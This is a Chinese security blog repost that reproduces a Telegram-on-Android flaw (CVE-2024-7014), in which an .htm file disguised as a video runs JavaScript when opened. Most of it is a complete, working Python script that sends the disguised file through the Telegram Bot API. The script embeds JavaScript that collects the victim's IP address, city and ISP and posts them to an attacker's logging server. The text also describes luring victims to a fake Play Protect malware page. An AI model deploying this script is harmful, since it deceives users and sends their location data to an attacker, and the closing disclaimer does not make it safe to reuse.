重现Android 设备中 .htm 扩展名文件的操纵

admin 2025年3月5日15:50:29评论12 views字数 2031阅读6分46秒阅读模式

重现Android 设备中 .htm 扩展名文件的操纵

在本文中,我们将研究一个与 CVE-2024-7014 安全漏洞工作原理相似的攻击场景。在发送的消息中,一个 ".htm" 文件伪装成"视频文件"通过 Telegram API 传输,当用户期待看到视频时,实际上是执行了 HTML 中的 JavaScript 代码。

技术细节

Evilloader 是一个允许攻击者在目标系统上下载和运行额外恶意负载的加载器。CVE-2024-7014 描述了该模块中反分析机制的更新。在这个攻击场景中,一个伪造的视频首先引导受害者打开恶意软件(伪造的 Play Protect)下载页面,然后发送了一个 IP 记录器。

漏洞详情

漏洞的主要原因是 Telegram 服务器响应中的 ".htm" 文件格式被视为视频。".htm" 代码片段在浏览器中的 "content://" 下打开。即:content://org.telegram.messenger.provider/media/Android/data/org.telegram.messenger/files/Telegram/Telegram%20Video/4_5924894289476721732.htm URI 路径通过内容打开浏览器,从而触发并打开所需的 HTML 页面。

重现Android 设备中 .htm 扩展名文件的操纵
图片1:内容注入

场景(IP 记录器)

当受害者无法在视频播放器中打开此文件(因为找不到视频格式)时,可能会重定向到默认浏览器,或者如果被识别为"HTML 文件",则可以双击在浏览器中打开。这样就可以运行恶意 JavaScript。

从 Telegram 下载文件并以为是视频的受害者,实际上是让浏览器运行 HTML 内容,导致 IP 信息被发送到攻击者的服务器。

tg.py

import requestsBOT_TOKEN = "your_bot_token"CHAT_ID = "your_chat_id"html_content = """<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <script>        fetch('http://ip-api.com/json')            .then(response => response.json())            .then(data => {                fetch('http://192.168.137.1:5000/log_ip', {                    method: 'POST',                    headers: {                        'Content-Type': 'application/json'                    },                    body: JSON.stringify({                        ip: data.query,                        country: data.country,                        region: data.regionName,                        city: data.city,                        isp: data.isp                    })                });            })            .catch(error => console.error('Error fetching IP:', error));    </script></head><body></body></html>"""html_path = "testv.mp4"with open(html_path, "w"as file:    file.write(html_content)files = {"video": ("a.htm",        open(html_path, "rb"),"video/mp4"    )}url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"data = {"chat_id": CHAT_ID, "supports_streaming"False}response = requests.post(url, data=data, files=files)if response.status_code == 200:    print("message send")else:    print(f"error: {response.text}")

在这段代码中,.htm 文件被伪装成"视频"并通过 Telegram API 发送。在 Android 设备上,当用户尝试打开此文件时,实际上运行的是包含 JavaScript 的 HTML 页面。

以下视频展示了"恶意软件和 IP 记录器"场景的实施方法:

算了算了,这种视频总是会被判违规,自己脑补吧。

原文始发于微信公众号(独眼情报):重现Android 设备中 .htm 扩展名文件的操纵

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日15:50:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   重现Android 设备中 .htm 扩展名文件的操纵https://cn-sec.com/archives/3799240.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息